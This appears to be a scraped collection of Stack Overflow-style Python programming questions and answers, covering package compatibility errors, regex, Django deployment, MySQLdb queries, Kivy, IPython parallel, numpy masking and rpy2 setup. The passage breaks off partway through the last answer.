File "/var/www/finance/finance-env/lib/python3.2/site-packages/paste/deploy/util.py", line 55, in fix_call
val = callable(*args, **kw)
File "/var/www/finance/corefinance/corefinance/__init__.py", line 35, in main
session_factory=session_factory
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/config/__init__.py", line 301, in __init__
exceptionresponse_view=exceptionresponse_view,
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/config/__init__.py", line 412, in setup_registry
self.include(inc)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/config/__init__.py", line 755, in include
c(configurator)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid_debugtoolbar-2.1-py3.2.egg/pyramid_debugtoolbar/__init__.py", line 113, in includeme
config.include('pyramid_mako')
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/config/__init__.py", line 727, in include
c = self.maybe_dotted(callable)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/config/__init__.py", line 825, in maybe_dotted
return self.name_resolver.maybe_resolve(dotted)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/path.py", line 320, in maybe_resolve
return self._resolve(dotted, package)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/path.py", line 327, in _resolve
return self._zope_dottedname_style(dotted, package)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/path.py", line 370, in _zope_dottedname_style
found = __import__(used)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid_mako-1.0.2-py3.2.egg/pyramid_mako/__init__.py", line 18, in <module>
from mako.lookup import TemplateLookup
File "/var/www/finance/finance-env/lib/python3.2/site-packages/Mako-1.0.0-py3.2.egg/mako/lookup.py", line 9, in <module>
from mako.template import Template
File "/var/www/finance/finance-env/lib/python3.2/site-packages/Mako-1.0.0-py3.2.egg/mako/template.py", line 10, in <module>
from mako.lexer import Lexer
File "/var/www/finance/finance-env/lib/python3.2/site-packages/Mako-1.0.0-py3.2.egg/mako/lexer.py", line 11, in <module>
from mako import parsetree, exceptions, compat
File "/var/www/finance/finance-env/lib/python3.2/site-packages/Mako-1.0.0-py3.2.egg/mako/parsetree.py", line 9, in <module>
from mako import exceptions, ast, util, filters, compat
File "/var/www/finance/finance-env/lib/python3.2/site-packages/Mako-1.0.0-py3.2.egg/mako/filters.py", line 38, in <module>
import markupsafe
File "/var/www/finance/finance-env/lib/python3.2/site-packages/MarkupSafe-0.23-py3.2-linux-x86_64.egg/markupsafe/__init__.py", line 70
def __new__(cls, base=u'', encoding=None, errors='strict'):
^
SyntaxError: invalid syntax
Answer: The `MarkupSafe` package uses syntax only supported by Python 3.3 and up.
Python 3.2 is not supported anymore as of [version
0.16](https://github.com/mitsuhiko/markupsafe/blob/master/CHANGES#L14-L18).
The `u'unicode'` literal syntax was introduced in [PEP
414](https://docs.python.org/3/whatsnew/3.3.html#pep-414-explicit-unicode-
literals) to make it easier to create library code that can support both
Python 2 and 3.
Either upgrade to Python 3.3 (or 3.4 even), or downgrade `MarkupSafe` to 0.15,
the last version to support Python 3.2.
I do see that [Mako _removes_ the `MarkupSafe`
dependency](https://bitbucket.org/zzzeek/mako/commits/4acc7ecaafdc1c36602d3ed7c02892c04210de13)
when you are using Python 3.2; if nothing else depends on it is perhaps safe
to remove the package altogether. The [`mako.filter` source
code](https://bitbucket.org/zzzeek/mako/src/285bc818a50ccc0f9549630f7c4f4c250585c3e7/mako/filters.py?at=master#cl-37)
certainly will fall back to a local implementation if the package is not
installed.
|
Python regular expression search vs match
Question: I'm trying to use a python regular expression to match 'BrahuiHan' or
'BrahuiYourba'
>> re.search(r'((Brahui|Han|Yoruba)+\d+)', '10xBrahuiHan50_10xBrahuiYoruba50n4').groups()
('BrahuiHan50', 'Han')
this only returns one group, the first one, I thought it should return the
second one too. i.e BrahuiYoruba
Answer: If you want to capture all occurrences of a pattern, you need to use
[`re.findall`](https://docs.python.org/2/library/re.html#re.findall):
>>> import re
>>> re.findall(r'((Brahui|Han|Yoruba)+\d+)', '10xBrahuiHan50_10xBrahuiYoruba50n4')
[('BrahuiHan50', 'Han'), ('BrahuiYoruba50', 'Yoruba')]
>>>
`re.search` will only capture the first occurrence.
|
Copied django project to shared host from repo - can't find settings
Question: I setup Django successfully on my shared Bluehost account following the
tutorial below: <http://www.nyayapati.com/srao/2012/08/setup-python-2-7-and-
django-1-4-on-bluehost/>
I am now having problems with a Django project I have copied from a GitHub
repo to my Bluehost directory. I am getting this error when I run python
mysite.fcgi in my virtualenv
go-1.5.1-py2.7.egg/django/conf/__init__.py", line 134, in __init__
raise ImportError("Could not import settings '%s' (Is it on sys.path?): %s" % (self.SETTINGS_MODULE, e))
ImportError: Could not import settings 'mysite.settings' (Is it on sys.path?): No module named settings
Any thoughts on where to look for errors? I have checked .htaccess and the
mysite.fcgi file in my www directory, the pointer to settings in my manage.py
and these seem as they should be. Running python manage.py runserver on the
project says there are no errors.
Lee
Answer: Thanks to sacrac on the django listserve I got the answer - I needed to make
my mysite.fcgi file in my www directory look like this:
#!/home5/myorg/.virtualenvs/mydjango/bin/python
import sys, os
# Add a custom Python path.
sys.path.insert(0, "/home/<user_name>/projects/")
sys.path.insert(0, "/home/<user_name>/projects/yourproyect")
from flup.server.fcgi import WSGIServer
os.environ['DJANGO_SETTINGS_MODULE'] = '<project_name>.settings'
from django.core.handlers.wsgi import WSGIHandler
WSGIServer(WSGIHandler()).run()
Not sure why this works, but it did.
|
The java printing code is working,send to printer but not print anything(java in python)
Question: i have made various research on this,plus,i'm using python,which i actually
implement java in python script.Somehow,the record is send to the printer(i
even got the message about this)but it does not print.can anyone help me on
this,i'm stuck on this.thanks.
This is the code,i got no error for this.
import system
import javax.print
import java.io
from java.lang import Thread
filestream = java.io.BufferedInputStream(java.io.FileInputStream("C:/GEEKS.txt"))
psInformat = javax.print.DocFlavor.INPUT_STREAM.AUTOSENSE
myDoc = javax.print.SimpleDoc(filestream,psInformat,None)
aset = javax.print.attribute.HashPrintRequestAttributeSet()
aset.add(javax.print.attribute.standard.Copies(2))
services = javax.print.PrintServiceLookup.lookupDefaultPrintService()
job = services.createPrintJob()
job.print(myDoc, None)
Thread.sleep(20000)
filestream.close()
Answer: You are trying to send a .docx file to the printer; the print service almost
certainly doesn't know how to render and print a .docx file. Try sending a
plain text file.
|
python dynamic input, update table
Question: I wrote a program in order to dynamically update a database table but I am
getting an error. I stuffed the program with whatever I know little about.
Here's my code:
import MySQLdb
class data:
def __init__(self):
self.file123 = raw_input("Enter film: ")
self.title_ = raw_input("Enter film: ")
self.year = raw_input("Enter year: ")
self.director = raw_input("Enter director: ")
a=data()
db = MySQLdb.connect(host="localhost", # your host, usually localhost
user="root", # your username
passwd="mysql", # your password
db="sakila") # name of the data base
cursor = db.cursor()
cursor.execute("INSERT INTO films (file123, title_, year, director) VALUES (?, ?, ?, ?)", (a.file123, a.title_, a.year, a.director))
db.commit()
db.close()
This is the error:
File "C:\Python27\maybe1.py", line 20, in <module>
cursor.execute("INSERT INTO films (file123, title_, year, director) VALUES (?, ?, ?, ?)", (a.file123, a.title_, a.year, a.director))
File "C:\Python27\lib\site-packages\MySQLdb\cursors.py", line 184, in execute
query = query % db.literal(args)
TypeError: not all arguments converted during string formatting
How can I fix this issue ?
Answer: You should change `?` to `%s`.
[Here](http://stackoverflow.com/questions/825042/how-do-you-make-the-python-
msqldb-module-use-in-stead-of-s-for-query-paramete) is question about why
mysqldb use `%s` instead of `?`.
|
Using ROS message and python to update text input field in kivy GUI
Question: I try to design a GUI to handle stepper motors via ROS, kivy and python. You
can find a minimal version of the GUI below. Actually I want to use a ROS
message to update a kivy text input field (read only). In the minimal example,
pressing the button should transfer the data of the first input field over a
local ROS node to the second input field. Actually it seems, that the Callback
within the rospy.Subscriber() doesn't enter the Test class.
Thank You for any suggestions!
main.py
import kivy
kivy.require('1.7.2')
import rospy
from std_msgs.msg import String
from kivy.app import App
from kivy.core.window import Window
from kivy.uix.widget import Widget
from kivy.uix.boxlayout import BoxLayout
class Test(BoxLayout):
text_is = 'text before button press'
def Pub(self):
publish = self.ids.test_text_pub.text
try:
ROSNode.new_text_is.publish(publish)
except rospy.ROSInterruptException: pass
class ROSNode(Widget):
def Callback(publish):
print(publish.data) #check if Callback has been called
test.text_is = publish.data
new_text_is = rospy.Publisher('new_text_is', String, queue_size=10)
rospy.Subscriber('new_text_is', String, Callback)
rospy.init_node('talker', anonymous=True)
class TestApp(App):
def build(self):
return Test()
if __name__ == '__main__':
TestApp().run()
test.kv
#:kivy 1.0
<Test>:
BoxLayout:
orientation: 'vertical'
Button:
id: test_button
text: 'publish'
on_press: root.Pub()
TextInput:
id: test_text_pub
text: 'text after button press'
TextInput:
id: test_text_sub
text: root.text_is
Answer: If you want your text to automatically update, you need to use [Kivy
properties](http://kivy.org/docs/api-kivy.properties.html).
from kivy.properties import StringProperty
class Test(BoxLayout):
text_is = StringProperty('text before button press')
Kivy properties support data binding, so any updates to the property will
propagate through to any bound widget. Binding happens automatically in kv, so
when you do this:
text: root.text_is
..you're telling Kivy that when `root.text_is` is updated, update my `text`
also.
|
Python - AttributeError: 'OnDemand' object has no attribute 'calc'
Question: Something is really happening and i couldnt resolve for a day almost
Examples are below: Trying a simple method calling from one class to another
class to figure out the problem as i have experienced the notorious problem
this morning as well... so have tried a simple method calling checks... Two
Class: HomePageAlone OnDemand
HomePageAlone - defined a test "def test_E_Access(self):" calls method in
OnDemand i got the below error.
Code as follows:
## HomePageAlone
from sikuli import *
from OnDemand import *
import OnDemand
class homePage(unittest.TestCase):
def setUp(self):
print("Test")
def test_E_Access(self):
callMethod = OnDemand()
callMethod.calc() # Line#15
suite = unittest.TestSuite()
suite.addTest(homePage('test_E_Access'))
unittest.TextTestRunner(verbosity=2).run(suite)
## OnDemand
from sikuli import *
class OnDemand(object):
def setUp(self):
print("setup")
def calc(self):
print ("This is calling")
* * *
Log Message
======================================================================
## ERROR: test_E_Access (**main**.homePage)
Traceback (most recent call last): File
"C:\DOCUME~1\Senthil.S\LOCALS~1\Temp\sikuli-6018543662740221054.py", line 15,
in test_E_Access callMethod.calc(self) # Line#15 AttributeError: 'OnDemand'
object has no attribute 'calc'
* * *
Ran 1 test in 0.016s
FAILED (errors=1)
Another Try : i tried to use as the below snippet as your suggested - it
always throws AttributeError: 'OnDemandPopular' object has no attribute 'calc'
import OnDemandPopular ondemand = OnDemandPopular.OnDemandPopular()
ondemand.calc()
Please help
* * *
Answer: You should import **OnDemand** class from **OnDemand** module;
from OnDemand import OnDemand
**HomePageAlone**
import unittest
from OnDemand import OnDemand
class homePage(unittest.TestCase):
def setUp(self):
print("Test")
def test_E_Access(self):
callMethod = OnDemand()
callMethod.calc() # Line#15
suite = unittest.TestSuite()
suite.addTest(homePage('test_E_Access'))
unittest.TextTestRunner(verbosity=2).run(suite)
**OnDemand**
class OnDemand(object):
def setUp(self):
print("setup")
def calc(self):
print ("This is calling")
The Output is ;
This is calling
test_E_Access (HomePageAlone.homePage) ... ok
Test
This is calling
----------------------------------------------------------------------
Ran 1 test in 0.000s
OK
Test
This is calling
|
How to automatically document my class properties with decorators
Question: Suppose I have two classes (`A` & `B`) of which the second is derived from the
first. Further, I hide some of the properties implemented in A by writing new
implementations in B. However, the docstring I wrote for A is still valid for
B and I'm lazy -- I don't want to copy paste everything.
_Please note that a key issue here is my targets are properties, for class
methods in general there are solutions posted._
In code, minimal example of classes could look like this:
In [1]: class A(object):
...: @property
...: def a(self):
...: "The a:ness of it"
...: return True
...:
In [2]: class B(A):
...: @property
...: def a(self):
...: return False
...:
What I basically would want is to have a way to make the following happen:
In [8]: B.a.__doc__
Out[8]: 'The a:ness of it'
In reality the docstring of B.a is empty and writing to `B.a.__doc__` is
impossible as it raises a `TypeError`.
As far as I have gotten is the following hack of a solution:
from inspect import getmro
def inheritDocFromA(f):
"""This decorator will copy the docstring from ``A`` for the
matching function ``f`` if such exists and no docstring has been added
manually.
"""
if f.__doc__ is None:
fname = f.__name__
for c in getmro(A):
if hasattr(c, fname):
d = getattr(c, fname).__doc__
if d is not None:
f.__doc__ = d
break
return f
Which does indeed work, but is dead ugly as `A` is hard-coded into the
decorator-function as I have found no way to know what class `f` is attached
to when passed to the decorator:
In [15]: class C(A):
....: @property
....: @inheritDocFromA
....: def a(self):
....: return False
....:
In [16]: C.a.__doc__
Out[16]: 'The a:ness of it'
**Question:** _Is it possible to construct a general solution for decorator
applied docstrings on class properties without hard-coding in the inheritance
into the decorator function?_
I've also tried decorating the classes but then I hit the wall with the
properties docstrings being write-protected.
And finally, I'd like the solution to work for both Python 2.7 and 3.4 if
possible.
Answer: It is possible to write a decorator that returns the proper `__doc__` when
accessed through class — after all, `__get__` receives the type and can go
through its MRO, find the appropriate `__doc__`, and set it on itself (or on a
proxy created and returned for that purpose). But it is much simpler to work
around the issue of `__doc__` not being writable.
It turns out that since `property` is implemented as a type, making the
`__doc__` of its instances writable is as simple as inheriting from it:
class property_writable_doc(property):
pass
Then your idea of using a class decorator to inherit the `__doc__` of
properties can work:
def inherit_doc_class(cls):
for name, obj in cls.__dict__.iteritems():
if isinstance(obj, property_writable_doc) and obj.__doc__ is None:
for t in cls.__mro__:
if name in t.__dict__ and t.__dict__[name].__doc__ is not None:
obj.__doc__ = t.__dict__[name].__doc__
break
return cls
class A(object):
@property
def a(self):
"The a:ness of it"
return True
@inherit_doc_class
class B(A):
@property_writable_doc
def a(self):
return False
@inherit_doc_class
class C(A):
@property_writable_doc
def a(self):
"The C:ness of it"
return False
|
Python to extract file date attributes
Question: I'm using Python on Windows7 to parse new names for records we have...My goal
is to include a date token as "..._YYYYMMDD.pdf" as described below.
From looking at the files in windows explorer 'details' view, I have confirmed
that the following gives me the `"Date Modified."` Since I'm working with
copies of the original files, the returned value is also the same as the
`"date created."`
import time
print "created: %s" % time.ctime(os.path.getctime('23614 TO 23814 DOWNSTREAM.pdf'))
which returns
>>>created: Tue Jun 24 13:19:12 2014
HOWEVER...
I need the "Date" attribute (the oldest time stamp on the file) since this
matches the TRUE date of creation of the report. Any idea how to get the
'date' attribute I'm looking for and not the "date created" and not "date
modified"?
I'm too new to the forum to answer my own question, but here it is:
Thanks to Christian for sending me in the right direction. The following gives
me the right date:
> > > print "created: %s" % time.ctime(os.stat('23614 TO 23814
> DOWNSTREAM.pdf')[-2])
>
> 'created: Mon Oct 31 13:51:14 2011'
as opposed to the following which is the date the copy was created:
> > > print "created: %s" % time.ctime(os.path.getctime('23614 TO 23814
> DOWNSTREAM.pdf'))
>
> created: Tue Jun 24 13:19:12 2014
Now I just have to figure out how to format it the right way!
Answer: Do you intend to run it on Windows or a Unix system? You will rely on an
underlying call to the OS and behavior is different.
On Windows, I believe that you will get the time of creation with your code.
|
Python, iterating through a list to perform a search
Question: I hope someone can point out where I have gone wrong. I am looking to iterate
through the 'mylist' list to grab the first entry and use that first entry as
a search string, then perform a search and gather particular information once
the string is found and post it to an Excel worksheet. Then I am hoping to
iterate to the next 'mylist' entry and perform another search. The first
iteration performs ok, but with the second iteration of the loop I get the
following CMD window error...
2014 Apr 25 09:43:42.080 INFORMATION FOR A
14.01
Traceback (most recent call last):
File "C:\TEST.py", line 362, in <module>
duta()
File "C:\TEST.py", line 128, in duta
if split[10] == 'A':
IndexError: list index out of range
Exception RuntimeError: RuntimeError('sys.meta_path must be a list of
import hooks',) in <bound method Workbook.__del__ of
<xlsxwriter.workbook.Workbook object at 0x0238C310>> ignored
Here's my code...
for root, subFolders, files in chain.from_iterable(os.walk(path) for path in paths):
for filename in files:
if filename.endswith('.txt'):
with open(os.path.join(root, filename), 'r') as fBMA:
searchlinesBMA = fBMA.readlines()
fBMA.close()
row_numBMAA+=1
num = 1
b = 1
print len(mylist)
print (mylist[num])
while b<len(mylist):
for i, line in enumerate(searchlinesBMA):
for word in [mylist[num]]:
if word in line:
keylineBMA = searchlinesBMA[i-2]
Rline = searchlinesBMA[i+10]
Rline = re.sub('[()]', '', Rline)
valueR = Rline.split()
split = keylineBMA.split()
if split[6] == 'A':
print keylineBMA
print valueR[3]
worksheetFILTERA.write(row_numBMAA,3,valueR[3], decimal_format)
row_numBMAA+=1
break
num+=1
b=+1
Any ideas as to what I am doing wrong? Is my loop out of position, or am I not
inputting the correct list pointer?
Thanks, MikG
Answer: On the second run, you got `split = keylineBMA.split()` with a result shorter
than you expected. You try to access index 10 which is outside the list.
|
client server python -C++
Question: I have written simple client(C++) server(Python) communication using boost
asio and protocol buffer. I pass array back and forth . My problem when I pass
array from server ( python) to client (C++) I have only about 50 elements of
my first array on the C++ output. How to solve this problem I have to pass 10
arrays with 10000 elements.
piece of code client c++ reading data on client :
boost::asio::transfer_exactly(65536) */);
boost::asio::streambuf b;
boost::asio::streambuf::mutable_buffers_type bufs = b.prepare(10000000);
size_t n = socket.receive(bufs);
b.commit(n);
std::istream is(&b);
std::string s;
is >> s;
object1.ParseFromString(s);
std::cout << object1.DebugString();
// this line doesn't output allarray's elemenents.
}
catch (std::exception& e)
{
//std::cerr << e.what(luuu) << std::endl;
}
std::cout << "\nClosing";
std::string dummy;
}
Python server:
import socket
from test_pb2 import Person
import dataf_pb2
host = 'localhost'
port = 10000
backlog = 55
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
element = dataf_pb2.ParticleMatrix()
for i in range(1000):
element.xPox.append(i * 0.53434)
for i in range(1000):
element.yPox.append( i * 0.53434)
for i in range(1000):
element.zPox.append(i * 0.53434)
message= element.SerializeToString()
element1 = dataf_pb2.ParticleMatrix()
while 1:
client, address = s.accept()
print ('Client connected')
data = client.recv(50000)
print data
if data:
object1 = dataf_pb2.ParticleMatrix()
object1.ParseFromString(data)
print object1.__str__()
print object1.ListFields()
client.send(message)
client.close()
Answer: Have you attempted using
[sendall](https://docs.python.org/2/library/socket.html#socket.socket.sendall)
instead of just send? I've been working on a similar client/server (in pure
c++ though) and personally it looks like a buffer problem to me.
Another thing I would suggest is attempting to capture the loopback (if
client/server are running from same machine) and looking at the packets to see
what/how much data is actually getting sent. Wireshark is a useful tool for
this.
Also would be useful to add in some error handling on send/recv so you can
check total bytes that are actually being sent if you don't want to do the
packet capturing.
|
Transpose pandas dataframe
Question: How do I convert a list of lists to a panda dataframe?
it is not in the form of coloumns but instead in the form of rows.
#!/usr/bin/env python
from random import randrange
import pandas
data = [[[randrange(0,100) for j in range(0, 12)] for y in range(0, 12)] for x in range(0, 5)]
print data
df = pandas.DataFrame(data[0], columns=['B','P','F','I','FP','BP','2','M','3','1','I','L'])
print df
for example:
data[0][0] == [64, 73, 76, 64, 61, 32, 36, 94, 81, 49, 94, 48]
I want it to be shown as rows and not coloumns.
currently it shows somethign like this
B P F I FP BP 2 M 3 1 I L
0 64 73 76 64 61 32 36 94 81 49 94 48
1 57 58 69 46 34 66 15 24 20 49 25 98
2 99 61 73 69 21 33 78 31 16 11 77 71
3 41 1 55 34 97 64 98 9 42 77 95 41
4 36 50 54 27 74 0 8 59 27 54 6 90
5 74 72 75 30 62 42 90 26 13 49 74 9
6 41 92 11 38 24 48 34 74 50 10 42 9
7 77 9 77 63 23 5 50 66 49 5 66 98
8 90 66 97 16 39 55 38 4 33 52 64 5
9 18 14 62 87 54 38 29 10 66 18 15 86
10 60 89 57 28 18 68 11 29 94 34 37 59
11 78 67 93 18 14 28 64 11 77 79 94 66
I want the rows and coloumns to be switched. Moreover, How do I make it for
all 5 main lists?
This is how I want the output to look like with other coloumns also filled in.
B P F I FP BP 2 M 3 1 I L
0 64
1 73
1 76
2 64
3 61
4 32
5 36
6 94
7 81
8 49
9 94
10 48
However. `df.transpose()` won't help.
Answer:
import numpy
df = pandas.DataFrame(numpy.asarray(data[x]).T.tolist(), columns=['B','P','F','I','FP','BP','2','M','3','1','I','L'])
|
Write a string within a list to one cell in a CSV file. Python 2.7 Windows 7
Question: Is it possible to write a string stored into a list into a .CSV file into one
cell?
I have a folder with files and I want to write the file names onto a .csv
file.
Folder with files:
Data.txt
Data2.txt
Data3.txt
Here is my code:
import csv
import os
index = -1
filename = []
filelist = []
filelist = os.listdir("dirname")
f = csv.writer(open("output.csv", "ab"), delimiter=",", quotechar=" ", quoting=csv.QUOTE_MINIMAL)
for file in filelist:
if (len(filelist) + index) <0:
break
filename = filelist[len(filelist)+index]
index -= 1
f.writerow(filename)
Output I'm getting is one letter per cell in the .csv file:
A B C D E F G H I
1 D a t a . t x t
2 D a t a 2 . t x t
3 D a t a 3 . t x t
Desired output would be to have it all in 1 cell. There should be three rows
on the csv file with strings "Data.txt" in cell A1, "Data2.txt" in cell B1,
and "Data3.txt" in cell C1:
A B
1 Data.txt
2 Data2.txt
3 Data3.txt
Is it possible to do this? Let me know if you need more information. I am
currently using Python 2.7 on Windows 7.
Solution/Corrected Code:
import csv
import os
index = -1
filename = []
filelist = []
filelist = os.listdir("dirname")
f = csv.writer(open("output.csv", "ab"), delimiter=",", quotechar=" ", quoting=csv.QUOTE_MINIMAL)
for file in filelist:
if (len(filelist) + index) <0:
break
filename = filelist[len(filelist)+index]
index -= 1
f.writerow([filename]) #Need to send in a list of strings without the ',' as a delimiter since writerow expects a tuple/list of strings.
Answer: You can do this:
import csv
import os
filelist = os.listdir("dirname") # Use a real directory
f = csv.writer(open("output.csv", 'ab'), delimiter=",", quotechar=" ", quoting=csv.QUOTE_MINIMAL)
for file_name in filelist:
f.writerow([file_name])
Writerow expects a sequence, for example a list of strings. You're giving it a
single string which it is then iterating over causing you to see each letter
of the string with a `,` between.
|
parallelization issue using python view library
Question: so i Worte some code with basic structure like this:
from numpy import *
from dataloader import loadfile
from IPython.parallel import Client
from clustering import *
data = loadfile(0)
N_CLASSES = 10
rowmax = nanmax(data.values, 0)
rowmin = nanmin(data.values, 0)
# Defines the size of block processed at a time
BLOCK_SIZE = 50000
classmean, classcov, classcovinv, classlogdet, classlogprob = init_stats(data, N_CLASSES, rowmax, rowmin)
client = Client()
ids = client.ids
nodes = len(ids)
view = client.load_balanced_view()
dview = client[:]
def get_ml_class(data, args): do sth
dview.scatter('datablock', data)
dview.execute('res1, res2 = get_ml_class(datablock, args)', block=False)
the output of dview.execute part is
<AsyncResult: execute>
which means it is executed, however, when i was trying to pull the result by
dview.pull(['res1','res2'], block=True)
it shows:
NameError: name 'res1' is not defined
Can someone please tell me what is wrong with my code?? Thank you so much!
Answer: Let us make a simpler example:
from IPython.parallel import Client
rc = Client()
dview = rc[:]
dview.scatter('a', Range(16))
dview.execute('res1,res2 = a[0], a[1]', block=False)
dview.pull(['res1'], block=True)
This works as expected and gives a the result:
[[0], [4], [8], [12]]
So, we do at least this one right. But let me change the code a bit:
from IPython.parallel import Client
rc = Client()
dview = rc[:]
dview.scatter('a', Range(16))
dview.execute('res1,res2 = a[0], b[1]', block=False)
dview.pull(['res1'], block=True)
Now we have the `NameError`. Why?
Because there is an error on the `execute` line (it references to variable `b`
which does not exist). The non-blocking `execute` does not complain much. In
the first (working) case the status is:
<AsyncResult: finished>
and in the second (non-working) case:
<AsyncResult: execute>
Other than that it is very quiet, and the second message does not necessarily
mean an error has occured. In order to see the real error message, change
`blocking` to `True`. Then you'll see what is going wrong.
If you want to know if your non-blocking execute works, you have to capture
the `AsyncResult` object returned by `execute`. It has several interesting
methods, but you would be most interested in `ready` and `successful` methods:
ar = dview.execute(...)
ar.ready() # True if the process has finished
ar.successful() # True if there were no exceptions raised
Also, the possible exceptions raised during the execution can be fetched by
using the `get` method of the `AsyncResult` object. For example my bad example
gives in the interactive shell:
>>> ar.get()
[0:execute]:
---------------------------------------------------------------------------
NameError Traceback (most recent call last)<ipython-input-1-608f57d70b2f> in <module>()
----> 1 res1,res2=a[0]**2,b[1]**2
NameError: name 'b' is not defined
[1:execute]:
---------------------------------------------------------------------------
NameError Traceback (most recent call last)<ipython-input-1-608f57d70b2f> in <module>()
----> 1 res1,res2=a[0]**2,b[1]**2
NameError: name 'b' is not defined
...
So, as a summary: Try to find out what goes wrong with the function you try to
run remotely. Now it seems to raise some execption. The error might have
something to do with `args` which does not seem to be available for the remote
scripts. Maybe a `scatter` is missing?
|
Python call a package submodule with variable module name
Question: How can I call a common submodule (present in various modules), selecting the
right module from a value?
Example:
Let's say I have this folder structure:
myprogram/
myprogram.py #main program
colors/ #colors package
__init__.py #contains __all__
blue/ #blue module
paint.py #submodule
red/ #red module
paint.py #submodule
The paint submodule has the same name in every module, but different code in
each.
In myprogram.py I want to do something like this:
import colors #import all the colors modules
my_shape = circle()
my_color = "blue" #define the module to call by his name
if my_color in colors:
colors.my_color.paint(my_shape) #calls the submodule from the right mosule
I want the "colors" package to be scalable, so I can easy remove one color
from one deploy with the minimum effort..
(I can make a single paint.py module with a case of inside, but it's not
easily scalable)
The questions are:
* Is it possible to do the `if my_module in package` thing?
* If so, haw can I call a package's module using a variable `package.my_module_variable.function()`?
I'm trying to solve this [storing functions into
dicts](http://programmers.stackexchange.com/questions/182093/why-store-a-
function-inside-a-python-dictionary), am I in the right way?
Answer: You should be able to treat the color submodules as attributes. The submodules
will need `__init__.py` files in their directorys (ex. `blue/__init__.py`)
along with the `paint.py` module. Then you could do something like this:
my_color = "blue"
if hasattr(colors, my_color):
getattr(colors, my_color).paint(my_shape)
Note however that in your example `paint` is a module so you wouldn't be able
to call the module. If there is a `paint` function in the `paint` module then
you would do:
getattr(colors, my_color).paint.paint(my_shape)
**Edit** : I should mention, like others have, that this seems overkill for
the example you've shown. If your real code/situation is more complex than
this then go for it. Otherwise a nice alternative might be to have one paint
module with dictionaries for various operations. So a file like
`colors/paint.py` could contain:
def paint_blue(shape):
print("BLUE!")
def paint_red(shape):
print("RED!")
paint_funcs = {
"blue": paint_blue,
"red": paint_red,
}
def paint(color, shape):
return paint_funcs[color](shape)
**Edit 2** :
The `__init__.py` files inside the color directories are needed to treat them
as subpackages, otherwise you can't import them. My initial method of using
attributes like this won't work unless the main package knows about the
submodules. So for example:
import colors
# colors doesn't know it has submodules 'blue' and 'red'
from colors import *
# if the colors __init__ has an __all__ declaration now it does know about them
hasattr(colors, "blue") # will work
Or you can import the colors in the colors `__init__.py` module
# in colors/__init__.py
import blue
import red
Or you can do what others have said about dynamic imports.
|
Slicing numpy array with closed path
Question:
import numpy as np
from matplotlib.path import Path
w, h = 300, 200
mask = np.zeros((h, w))
verts = [(0, h), (w/2, 0), (w, h), (0, h)]
codes = [Path.MOVETO, Path.LINETO, Path.LINETO, Path.CLOSEPOLY]
path = Path(verts, codes)
mask[path.contains_points(mask)] = 1
result:
Traceback (most recent call last):
File "test.py", line 13, in <module>
mask[path.contains_points(mask)] = 1
File "C:\Python27\lib\site-packages\matplotlib\path.py", line 488, in contains_points
result = _path.points_in_path(points, radius, self, transform)
TypeError: Argument 0 to points_in_path must be an Nx2 numpy array
So
[`matplotlib.path.Path.contains_points()`](http://matplotlib.org/1.2.1/api/path_api.html#matplotlib.path.Path.contains_points)
does not expand array indexes which would be useful for mask creation.
How to mask numpy array with closed path (with matplotlib or without it if
it's possible)
Answer: The problem here is that `path.contains_points` expects to receive an array of
coordinates (Nx2 array). Then it returns a vector with N points with `True` or
`False` for each point.
So, you need to create an array of coordinates (e.g. [[0,0], [0,1], [0,2]
...]) for the area you want to search through. Then you can feed it to
`contains_points` to know which of the points are within the path.
There are several ways of accomplishing this, for example:
coordinates = np.dstack(np.meshgrid(np.arange(w), np.arange(h))).reshape(-1,2)
within = coordinates[path.contains_points(coordinates)]
mask = np.zeros((h,w))
mask[within[:,1], within[:,0]] = 1
Now you should have an array with size h x w and 1's inside the mask.
Btw, the use of `matplotlib.path` is a nice trick!
|
Rpy2 error wac-a-mole: R_USER not defined
Question: I'm running Python (x,y) 2.7 on windows 7 32 bit and R version 3.1.0. I've
been trying to install Rpy2 and have been getting many errors. I finally found
this site which has pre-compiled python modules for windows
<http://www.lfd.uci.edu/~gohlke/pythonlibs/>, so I downloaded
rpy2‑2.4.2.win32‑py2.7.exe. When I did this and tried
import rpy2.robjects as robjects
I had an error saying it could not find R_HOME, so I updated my path
variables. This was fixed, but then I got an error saying it could not find
R_USER. Once again, I updated my PYTHONPATH variables based on SO responses.
This didn't work, and so I'm stuck. I've updated my PYTHONPATH both inside
Spyder and also in my system variables, but still no luck. Does anyone know
what could be going on? This is the error I get:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\Python27\lib\site-packages\rpy2\robjects\__init__.py", line 18, in <module>
from rpy2.robjects.robject import RObjectMixin, RObject
File "C:\Python27\lib\site-packages\rpy2\robjects\robject.py", line 5, in <module>
rpy2.rinterface.initr()
RuntimeError: R_USER not defined.
This is what my PYTHONPATH includes:
C:\Python27\Lib\site-packages\rpy2;C:\Program Files\R\R-3.1.0\bin\i386;C:\Python27\Lib\site-packages\rpy2\robjects
This is what my PATH includes:
C:\Python27\Lib\site-packages\PyQt4;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;c:\Program Files\Intel\DMIX;C:\Program Files\Intel\Services\IPT\;C:\Python27;C:\Python27\DLLs;C:\Python27\Scripts;C:\Python27\Lib\site-packages\vtk;C:\Python27\gnuplot\binary;C:\Program Files\pythonxy\SciTE-3.1.0;C:\Program Files\pythonxy\console;C:\MinGW32-xy\bin;C:\Program Files\R\R-3.1.0\bin;C:\MinGW32-xy\mingw32\bin;C:\MinGW32-xy\bin
Thanks for any help you can provide!
Answer: You need to set the `R_USER` environment variable, e.g. to the username of the
Windows account you use. See also this quote from [this
link](https://bitbucket.org/lgautier/rpy2/issue/95/automagic-settings-for-
windows):
> 1) Add the path to R.dll to my PATH variable (I went to the 32-bit
> directory) 2) Add an environment variable R_HOME (C:\Program
